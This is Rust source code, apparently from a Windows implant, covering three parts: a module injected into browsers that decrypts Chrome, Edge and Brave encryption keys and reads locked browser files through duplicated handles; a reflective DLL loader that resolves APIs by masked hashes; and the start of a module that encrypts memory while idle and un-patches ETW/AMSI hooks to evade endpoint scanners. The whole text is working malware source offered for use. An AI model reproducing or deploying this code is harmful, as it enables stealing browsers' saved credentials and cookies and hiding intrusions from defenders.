if bstr_enc.is_null() {
|
||||
abi::CoUninitialize();
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut bstr_plain: *mut u16 = ptr::null_mut();
|
||||
let mut com_err: u32 = 0;
|
||||
|
||||
let hr2 = if ascii_eq_ignore_case(browser, b"edge") {
|
||||
decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
} else if ascii_eq_ignore_case(browser, b"brave") {
|
||||
decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
} else {
|
||||
decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
};
|
||||
|
||||
abi::SysFreeString(bstr_enc);
|
||||
|
||||
let result = if hr2 >= 0 && !bstr_plain.is_null() {
|
||||
let len = abi::SysStringByteLen(bstr_plain);
|
||||
if len > 0 && len <= 64 {
|
||||
let mut key = vec![0u8; len as usize];
|
||||
ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize);
|
||||
Some(key)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !bstr_plain.is_null() {
|
||||
abi::SysFreeString(bstr_plain);
|
||||
}
|
||||
abi::CoUninitialize();
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
// ---- READ handler ----
|
||||
|
||||
/// Brute-force the owning process's open file handle by walking handle values
|
||||
/// and matching the DOS path (ported from `find_open_handle`).
|
||||
unsafe fn find_open_handle(target_path: &[u16]) -> usize {
|
||||
let mut sep_count = 0;
|
||||
let mut suffix_start = 0usize;
|
||||
let mut i = target_path.len();
|
||||
while i > 0 && sep_count < 2 {
|
||||
i -= 1;
|
||||
if target_path[i] == b'\\' as u16 {
|
||||
sep_count += 1;
|
||||
if sep_count == 2 {
|
||||
suffix_start = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
let suffix = &target_path[suffix_start..];
|
||||
|
||||
let mut h = 4usize;
|
||||
while h < 0x10000 {
|
||||
if abi::GetFileType(h) == abi::FILE_TYPE_DISK {
|
||||
let mut name = [0u16; PATH_BUF];
|
||||
let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0);
|
||||
if len > 0 && (len as usize) < PATH_BUF {
|
||||
let slice = &name[..len as usize];
|
||||
if wide_contains(slice, suffix) {
|
||||
let mut dup = 0usize;
|
||||
if abi::DuplicateHandle(
|
||||
abi::GetCurrentProcess(),
|
||||
h,
|
||||
abi::GetCurrentProcess(),
|
||||
&mut dup,
|
||||
0,
|
||||
0,
|
||||
abi::DUPLICATE_SAME_ACCESS,
|
||||
) != 0
|
||||
{
|
||||
return dup;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
h += 4;
|
||||
}
|
||||
abi::INVALID_HANDLE_VALUE
|
||||
}
|
||||
|
||||
unsafe fn handle_read(h: usize, utf8path: &[u8]) {
|
||||
let wide = utf8_to_wide(utf8path);
|
||||
let mut hfile = abi::CreateFileW(
|
||||
wide.as_ptr(),
|
||||
abi::GENERIC_READ,
|
||||
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
|
||||
ptr::null_mut(),
|
||||
abi::OPEN_EXISTING,
|
||||
abi::FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
);
|
||||
|
||||
let mut via_dup = false;
|
||||
if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION {
|
||||
hfile = find_open_handle(&wide[..wide.len() - 1]);
|
||||
via_dup = true;
|
||||
}
|
||||
|
||||
if hfile == abi::INVALID_HANDLE_VALUE {
|
||||
send_response(h, 1, b"open failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let size = abi::GetFileSize(hfile, ptr::null_mut());
|
||||
if size == abi::INVALID_FILE_SIZE || size > MAX_FILE {
|
||||
abi::CloseHandle(hfile);
|
||||
send_response(h, 1, b"bad size");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut data = vec![0u8; size as usize];
|
||||
let mut rd = 0u32;
|
||||
let ok = if via_dup {
|
||||
let mut ov = Overlapped::zeroed();
|
||||
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0
|
||||
&& rd == size
|
||||
} else {
|
||||
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0
|
||||
&& rd == size
|
||||
};
|
||||
abi::CloseHandle(hfile);
|
||||
|
||||
if ok {
|
||||
send_response(h, 0, &data);
|
||||
} else if via_dup {
|
||||
send_response(h, 1, b"dup read fail");
|
||||
} else {
|
||||
send_response(h, 1, b"read fail");
|
||||
}
|
||||
}
|
||||
|
||||
// ---- KEY handler ----
|
||||
|
||||
unsafe fn handle_key(h: usize, args: &[u8]) {
|
||||
let Some(pos) = args.iter().position(|&c| c == b':') else {
|
||||
send_response(h, 1, b"bad format");
|
||||
return;
|
||||
};
|
||||
let (browser, b64) = args.split_at(pos);
|
||||
let enc = base64_decode(&b64[1..]);
|
||||
if enc.len() < 5 {
|
||||
send_response(h, 1, b"small key");
|
||||
return;
|
||||
}
|
||||
match decrypt_via_elevator(&enc, browser) {
|
||||
Some(key) => {
|
||||
send_response(h, 0, &key);
|
||||
}
|
||||
None => {
|
||||
send_response(h, 1, b"decrypt failed");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- worker thread ----
|
||||
|
||||
unsafe fn worker(pipe: &[u16]) -> u32 {
|
||||
let h = abi::CreateFileW(
|
||||
pipe.as_ptr(),
|
||||
abi::GENERIC_READ | abi::GENERIC_WRITE,
|
||||
0,
|
||||
ptr::null_mut(),
|
||||
abi::OPEN_EXISTING,
|
||||
0,
|
||||
0,
|
||||
);
|
||||
if h == abi::INVALID_HANDLE_VALUE {
|
||||
return 1;
|
||||
}
|
||||
|
||||
loop {
|
||||
let mut msg_len: u32 = 0;
|
||||
if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4)
|
||||
|| msg_len == 0
|
||||
|| msg_len > MAX_MSG
|
||||
{
|
||||
break;
|
||||
}
|
||||
let mut msg = vec![0u8; msg_len as usize];
|
||||
if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) {
|
||||
break;
|
||||
}
|
||||
|
||||
let pkey = proto_key();
|
||||
let pread = proto_read();
|
||||
let pexit = proto_exit();
|
||||
|
||||
if msg.len() >= pkey.len() && &msg[..pkey.len()] == pkey.as_slice() {
|
||||
handle_key(h, &msg[pkey.len()..]);
|
||||
} else if msg.len() >= pread.len() && &msg[..pread.len()] == pread.as_slice() {
|
||||
handle_read(h, &msg[pread.len()..]);
|
||||
} else if msg.len() >= pexit.len() && &msg[..pexit.len()] == pexit.as_slice() {
|
||||
break;
|
||||
} else {
|
||||
send_response(h, 1, b"unknown");
|
||||
}
|
||||
}
|
||||
|
||||
abi::CloseHandle(h);
|
||||
0
|
||||
}
|
||||
|
||||
fn read_env_wide(name: &str) -> Option<Vec<u16>> {
|
||||
let mut name_w: Vec<u16> = name.encode_utf16().collect();
|
||||
name_w.push(0);
|
||||
let mut buf = vec![0u16; ENV_BUF as usize];
|
||||
unsafe {
|
||||
let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF);
|
||||
if len == 0 || len >= ENV_BUF {
|
||||
return None;
|
||||
}
|
||||
buf.truncate(len as usize);
|
||||
Some(buf)
|
||||
}
|
||||
}
|
||||
|
||||
/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed
|
||||
/// through lpParameter by the injector).
|
||||
fn read_wide_from_ptr(p: *const u16) -> Option<Vec<u16>> {
|
||||
if p.is_null() {
|
||||
return None;
|
||||
}
|
||||
let mut v = Vec::new();
|
||||
let mut i = 0usize;
|
||||
unsafe {
|
||||
loop {
|
||||
let c = *p.add(i);
|
||||
if c == 0 {
|
||||
break;
|
||||
}
|
||||
v.push(c);
|
||||
i += 1;
|
||||
if i > 4096 {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
if v.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(v)
|
||||
}
|
||||
}
|
||||
|
||||
pub fn on_attach(lp_param: *const u16) {
|
||||
// Prefer the pipe name passed in memory by the injector (works for running
|
||||
// browsers); fall back to the inherited env var for spawned headless ones.
|
||||
let env_name = env_pipe_name();
|
||||
let env_name_str: String = String::from_utf8_lossy(&env_name).into_owned();
|
||||
let pipe = read_wide_from_ptr(lp_param)
|
||||
.or_else(|| read_env_wide(&env_name_str));
|
||||
if let Some(pipe) = pipe {
|
||||
let mut p = pipe;
|
||||
p.push(0);
|
||||
let _ = std::thread::Builder::new()
|
||||
.spawn(move || unsafe {
|
||||
worker(&p);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,478 @@
|
||||
//! Position-independent reflective loader, pure Rust (no C).
|
||||
//!
|
||||
//! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
|
||||
//! The injection stubs copy this DLL's raw bytes into a remote process and
|
||||
//! start a thread on the exported `ReflectiveLoader` entry. When that thread
|
||||
//! begins, the copied image is *not* relocated and its imports are *not*
|
||||
//! resolved, so this function must be position independent end to end:
|
||||
//!
|
||||
//! - It never reads relocatable data. All image structures are reached by
|
||||
//! computing addresses at runtime and reading with volatile scalar loads.
|
||||
//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`,
|
||||
//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB
|
||||
//! module list and export tables by hand. Module names are matched by a
|
||||
//! rotate hash of *immediate* constants — never through `.rodata` string
|
||||
//! literals, because a RIP-relative load into the file-offset-mapped raw
|
||||
//! copy would read the wrong bytes until the image has been relocated.
|
||||
//! - It copies the image into a fresh RWX allocation, fixes up imports,
|
||||
//! applies relocations, registers `.pdata` for exception unwinding and
|
||||
//! finally invokes the DLL's entry point.
|
||||
//!
|
||||
//! All loops use `wrapping_*` arithmetic and every memory access is volatile
|
||||
//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or
|
||||
//! introduce a panic edge (both would route through a not-yet-loaded IAT or
|
||||
//! unwinder).
|
||||
|
||||
use core::arch::asm;
|
||||
|
||||
const MEM_RESERVE_COMMIT: u32 = 0x0000_3000;
|
||||
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
|
||||
// rotate-right-by-1 hashes of the names the loader resolves.
|
||||
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
|
||||
// constant-folding) so the raw loader hashes never appear in the binary.
|
||||
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
#[inline(always)]
|
||||
fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
const KERNEL32_HASH: u32 = 0xC3A0_008F ^ HASH_KEY;
|
||||
const NTDLL_HASH: u32 = 0xE600_0091 ^ HASH_KEY;
|
||||
const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093 ^ HASH_KEY;
|
||||
const GETPROCADDRESS_HASH: u32 = 0x8708_00A0 ^ HASH_KEY;
|
||||
const VIRTUALALLOC_HASH: u32 = 0xB800_008F ^ HASH_KEY;
|
||||
const NTFLUSH_HASH: u32 = 0xED3A_788A ^ HASH_KEY;
|
||||
|
||||
type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize;
|
||||
type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize;
|
||||
type VirtualAllocFn = unsafe extern "system" fn(
|
||||
addr: usize,
|
||||
size: usize,
|
||||
allocation_type: u32,
|
||||
protect: u32,
|
||||
) -> usize;
|
||||
type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32;
|
||||
type RtlAddFunctionTableFn = unsafe extern "system" fn(
|
||||
function_table: usize,
|
||||
entry_count: u32,
|
||||
base_address: u64,
|
||||
) -> i32;
|
||||
type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32;
|
||||
|
||||
// ---- Volatile scalar memory access (never lowered to libcalls) ----
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u8(p: usize, off: usize) -> u8 {
|
||||
core::ptr::read_volatile((p + off) as *const u8)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u16(p: usize, off: usize) -> u16 {
|
||||
core::ptr::read_volatile((p + off) as *const u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u32(p: usize, off: usize) -> u32 {
|
||||
core::ptr::read_volatile((p + off) as *const u32)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u64(p: usize, off: usize) -> u64 {
|
||||
core::ptr::read_volatile((p + off) as *const u64)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn wr_u8(p: usize, off: usize, v: u8) {
|
||||
core::ptr::write_volatile((p + off) as *mut u8, v);
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
|
||||
core::ptr::write_volatile((p + off) as *mut u64, v);
|
||||
}
|
||||
|
||||
// Unaligned-safe read so the base scan can step byte-by-byte.
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u16_bytes(p: usize) -> u16 {
|
||||
rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn copy_bytes(dst: usize, src: usize, len: usize) {
|
||||
for i in 0..len {
|
||||
core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8));
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Immediate materializers: build byte strings without .rodata ----
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn fill_u64(dst: usize, lit: u64) {
|
||||
wr_u8(dst, 0, (lit & 0xFF) as u8);
|
||||
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
|
||||
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
|
||||
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
|
||||
wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8);
|
||||
wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8);
|
||||
wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8);
|
||||
wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8);
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn fill_u32(dst: usize, lit: u32) {
|
||||
wr_u8(dst, 0, (lit & 0xFF) as u8);
|
||||
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
|
||||
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
|
||||
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
|
||||
}
|
||||
|
||||
// ---- Position-independent runtime resolution ----
|
||||
|
||||
/// Current instruction pointer, obtained with a RIP-relative LEA so it is
|
||||
/// valid before the image is relocated.
|
||||
#[inline(never)]
|
||||
fn rip_here() -> usize {
|
||||
let ip: usize;
|
||||
unsafe {
|
||||
asm!(
|
||||
"lea {}, [rip]",
|
||||
out(reg) ip,
|
||||
options(nomem, nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
ip
|
||||
}
|
||||
|
||||
/// x64 Process Environment Block via `gs:[0x60]`.
|
||||
#[inline(never)]
|
||||
unsafe fn peb_pointer() -> usize {
|
||||
let peb: usize;
|
||||
unsafe {
|
||||
asm!(
|
||||
"mov {}, qword ptr gs:[0x60]",
|
||||
out(reg) peb,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
peb
|
||||
}
|
||||
|
||||
/// Scan backwards from `start` for the MZ/PE header of the running image.
|
||||
unsafe fn find_image_base(start: usize) -> usize {
|
||||
let mut p = start;
|
||||
loop {
|
||||
if p == 0 {
|
||||
return 0;
|
||||
}
|
||||
if rd_u16_bytes(p) == 0x5A4D {
|
||||
let lfanew = rd_u32(p, 0x3C) as usize;
|
||||
if (0x40..1024).contains(&lfanew) {
|
||||
let nt = p + lfanew;
|
||||
if rd_u32(nt, 0) == 0x0000_4550 {
|
||||
return p;
|
||||
}
|
||||
}
|
||||
}
|
||||
p = p.wrapping_sub(1);
|
||||
}
|
||||
}
|
||||
|
||||
/// Rotate `v` right by one bit.
|
||||
#[inline(always)]
|
||||
fn ror1(v: u32) -> u32 {
|
||||
v.wrapping_shr(1) | v.wrapping_shl(31)
|
||||
}
|
||||
|
||||
/// ror hash of a UTF-16 code-unit buffer (case-normalized).
|
||||
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
while i < nchars {
|
||||
let c = rd_u16(ptr, i * 2);
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add((c - 0x20) as u32);
|
||||
} else {
|
||||
h = h.wrapping_add(c as u32);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
h
|
||||
}
|
||||
|
||||
/// ror hash of a NUL-terminated ASCII string, case-normalized as above.
|
||||
unsafe fn hash_ascii(ptr: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
loop {
|
||||
let c = rd_u8(ptr, i) as u32;
|
||||
if c == 0 {
|
||||
return h;
|
||||
}
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add(c - 0x20);
|
||||
} else {
|
||||
h = h.wrapping_add(c);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// Walk the loaded-module list for the module whose base-name rotates to
|
||||
/// `want`; returns its base address or 0.
|
||||
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
|
||||
let ldr = rd_u64(peb, 0x18) as usize;
|
||||
if ldr == 0 {
|
||||
return 0;
|
||||
}
|
||||
let head = rd_u64(ldr, 0x20) as usize;
|
||||
if head == 0 {
|
||||
return 0;
|
||||
}
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 {
|
||||
return 0;
|
||||
}
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let name_len = rd_u16(entry, 0x58) as usize;
|
||||
if name_len > 0 {
|
||||
let name_ptr = rd_u64(entry, 0x60) as usize;
|
||||
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
|
||||
return rd_u64(entry, 0x30) as usize;
|
||||
}
|
||||
}
|
||||
let next = rd_u64(entry, 0x10) as usize;
|
||||
if next == head || next == cur {
|
||||
break;
|
||||
}
|
||||
cur = next;
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0.
|
||||
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
|
||||
let lfanew = rd_u32(base, 0x3C) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = rd_u32(dd, 0) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let num_names = rd_u32(ed, 24) as usize;
|
||||
let addr_of_funcs = rd_u32(ed, 28) as usize;
|
||||
let addr_of_names = rd_u32(ed, 32) as usize;
|
||||
let addr_of_ord = rd_u32(ed, 36) as usize;
|
||||
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
|
||||
return 0;
|
||||
}
|
||||
for i in 0..num_names {
|
||||
let name_rva = rd_u32(base + addr_of_names, i * 4) as usize;
|
||||
if hash_ascii(base + name_rva) == want {
|
||||
let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize;
|
||||
let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize;
|
||||
if fn_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
return base + fn_rva;
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export by ordinal; returns its VA or 0.
|
||||
unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize {
|
||||
let lfanew = rd_u32(base, 0x3C) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = rd_u32(dd, 0) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let export_base = rd_u32(ed, 16) as usize;
|
||||
let num_funcs = rd_u32(ed, 20) as usize;
|
||||
let addr_of_funcs = rd_u32(ed, 28) as usize;
|
||||
if ordinal < export_base as u16 || addr_of_funcs == 0 {
|
||||
return 0;
|
||||
}
|
||||
let idx = ordinal as usize - export_base;
|
||||
if idx >= num_funcs {
|
||||
return 0;
|
||||
}
|
||||
let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize;
|
||||
if fn_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
base + fn_rva
|
||||
}
|
||||
|
||||
// ---- The loader ----
|
||||
|
||||
/// Thread-start routine invoked by the `ReflectiveLoader` export on the
|
||||
/// copied, un-relocated image. Returns the address of the newly loaded DLL's
|
||||
/// entry point, or 0 on failure.
|
||||
#[inline(never)]
|
||||
pub extern "system" fn loader_impl(lpParameter: usize) -> usize {
|
||||
unsafe {
|
||||
// STEP 0: locate our own (un-relocated) image base.
|
||||
let ui_lib = find_image_base(rip_here());
|
||||
if ui_lib == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// STEP 1: resolve the APIs we need by name hash.
|
||||
let peb = peb_pointer();
|
||||
let k32 = module_base_by_hash(peb, r(KERNEL32_HASH));
|
||||
let ntdll = module_base_by_hash(peb, r(NTDLL_HASH));
|
||||
if k32 == 0 || ntdll == 0 {
|
||||
return 0;
|
||||
}
|
||||
let p_load = export_by_hash(k32, r(LOADLIBRARYA_HASH));
|
||||
let p_get_proc = export_by_hash(k32, r(GETPROCADDRESS_HASH));
|
||||
let p_alloc = export_by_hash(k32, r(VIRTUALALLOC_HASH));
|
||||
let p_flush = export_by_hash(ntdll, r(NTFLUSH_HASH));
|
||||
if p_load == 0 || p_get_proc == 0 || p_alloc == 0 {
|
||||
return 0;
|
||||
}
|
||||
let f_load: LoadLibraryFn = core::mem::transmute(p_load);
|
||||
let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc);
|
||||
let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc);
|
||||
let f_flush: NtFlushFn = core::mem::transmute(p_flush);
|
||||
|
||||
// Register .pdata so unwinding through our code does not crash. The
|
||||
// proc-name string is materialized from immediates (no .rodata).
|
||||
let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit();
|
||||
let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize;
|
||||
fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu"
|
||||
fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa"
|
||||
fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0"
|
||||
let p_add_table = f_get_proc(ntdll, name_ptr as *const u8);
|
||||
|
||||
// STEP 2: load the image into a fresh permanent location.
|
||||
let lfanew = rd_u32(ui_lib, 0x3C) as usize;
|
||||
if lfanew == 0 {
|
||||
return 0;
|
||||
}
|
||||
let opt = ui_lib + lfanew + 4 + 20;
|
||||
let image_base = rd_u64(opt, 24) as usize;
|
||||
let size_of_image = rd_u32(opt, 56) as usize;
|
||||
let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if ui_base == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Copy the headers.
|
||||
copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize);
|
||||
|
||||
// STEP 3: copy all sections.
|
||||
let coff = ui_lib + lfanew + 4;
|
||||
let num_sections = rd_u16(coff, 2) as usize;
|
||||
let opt_size = rd_u16(coff, 16) as usize;
|
||||
let sec = coff + 20 + opt_size;
|
||||
let mut si = 0;
|
||||
while si < num_sections {
|
||||
let s = sec + si * 40;
|
||||
let vaddr = rd_u32(s, 12) as usize;
|
||||
let raw_size = rd_u32(s, 16) as usize;
|
||||
let raw_ptr = rd_u32(s, 20) as usize;
|
||||
copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size);
|
||||
si += 1;
|
||||
}
|
||||
|
||||
// STEP 4: fix up imports.
|
||||
let dd = opt + 112;
|
||||
let imp_rva = rd_u32(dd, 8) as usize;
|
||||
if imp_rva != 0 {
|
||||
let imp = ui_base + imp_rva;
|
||||
let mut di = 0;
|
||||
loop {
|
||||
let desc = imp + di * 20;
|
||||
let name_rva = rd_u32(desc, 12);
|
||||
if name_rva == 0 {
|
||||
break;
|
||||
}
|
||||
let hlib = f_load((ui_base + name_rva as usize) as *const u8);
|
||||
let oft_rva = rd_u32(desc, 0) as usize;
|
||||
let ft_rva = rd_u32(desc, 16) as usize;
|
||||
let mut iat = ui_base + ft_rva;
|
||||
let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 };
|
||||
loop {
|
||||
let thunk = rd_u64(iat, 0);
|
||||
if thunk == 0 {
|
||||
break;
|
||||
}
|
||||
if oft != 0 && (thunk >> 63) == 1 {
|
||||
let ordinal = (thunk & 0xFFFF) as u16;
|
||||
wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64);
|
||||
} else {
|
||||
let name_rva2 = (thunk as u32) as usize;
|
||||
let by_name = ui_base + name_rva2;
|
||||
wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64);
|
||||
}
|
||||
iat += 8;
|
||||
if oft != 0 {
|
||||
oft += 8;
|
||||
}
|
||||
}
|
||||
di += 1;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 5: apply relocations.
|
||||
let reloc_dd = dd + 0x28;
|
||||
let reloc_size = rd_u32(reloc_dd, 4);
|
||||
if reloc_size != 0 {
|
||||
let reloc_rva = rd_u32(reloc_dd, 0) as usize;
|
||||
let delta = ui_base.wrapping_sub(image_base);
|
||||
let mut r = ui_base + reloc_rva;
|
||||
loop {
|
||||
let block_size = rd_u32(r, 4);
|
||||
if block_size == 0 {
|
||||
break;
|
||||
}
|
||||
let target = ui_base + rd_u32(r, 0) as usize;
|
||||
let mut count = (block_size as usize - 8) / 2;
|
||||
let mut e = r + 8;
|
||||
while count > 0 {
|
||||
let word = rd_u16(e, 0) as usize;
|
||||
let typ = (word >> 12) & 0xF;
|
||||
let off = word & 0xFFF;
|
||||
// Only DIR64 (10) needs applying; a single comparison is
|
||||
// used deliberately: a multi-case dispatch lets LLVM emit
|
||||
// a jump table in `.rodata`, whose RIP-relative address
|
||||
// would be wrong in the raw copy.
|
||||
if typ == 10 {
|
||||
let v = rd_u64(target, off).wrapping_add(delta as u64);
|
||||
wr_u64(target, off, v);
|
||||
}
|
||||
e += 2;
|
||||
count -= 1;
|
||||
}
|
||||
r = r + block_size as usize;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 5b: register the exception table (.pdata) with the OS.
|
||||
let exc_dd = dd + 0x30;
|
||||
let exc_rva = rd_u32(exc_dd, 0) as usize;
|
||||
let exc_size = rd_u32(exc_dd, 4) as usize;
|
||||
if p_add_table != 0 && exc_rva != 0 && exc_size != 0 {
|
||||
let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table);
|
||||
let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64);
|
||||
}
|
||||
|
||||
// Flush the instruction cache so relocated code is used.
|
||||
let _ = f_flush(-1, 0, 0);
|
||||
|
||||
// STEP 6: invoke the DLL entry point and return its address.
|
||||
let entry = ui_base + rd_u32(opt, 16) as usize;
|
||||
let f_entry: DllMainFn = core::mem::transmute(entry);
|
||||
let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter);
|
||||
entry
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
//! Sleep obfuscation and memory encryption for runtime evasion.
|
||||
//!
|
||||
//! When the implant is idle (sleeping), we encrypt sensitive memory regions
|
||||
//! (heap, .data) so memory scanners/dumpers can't find plaintext strings,
|
||||
//! keys, or configuration. On wake, we decrypt just-in-time.
|
||||
//!
|
||||
//! We also *un-patch* the ETW/AMSI code modifications before sleeping and
|
||||
//! re-apply them on wake: memory-scanning EDRs inspect code sections while a
|
||||
//! process idles, and a permanently-modified ntdll/amsi prologue is a
|
||||
//! giveaway. `patch::suspend_all` / `patch::resume_all` handle that.
|
||||
//!
|
||||
//! Uses per-build constants from gen.rs plus runtime entropy for the key.
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
use core::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use crate::abi;
|
||||
use crate::gen;
|
||||
use crate::patch;
|
||||
use crate::syscall;
|
||||
|
||||
const MEM_COMMIT: u32 = 0x1000;
|
||||
const PAGE_READWRITE: u32 = 0x04;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct MemoryBasicInfo {
|
||||
base_address: *mut c_void,
|
||||
allocation_base: *mut c_void,
|
||||
allocation_protect: u32,
|
||||
region_size: usize,
|
||||
state: u32,
|
||||
protect: u32,
|
||||
_type: u32,
|
||||
}
|
||||
|
||||
static ENCRYPTION_ACTIVE: AtomicBool = AtomicBool::new(false);
|
||||
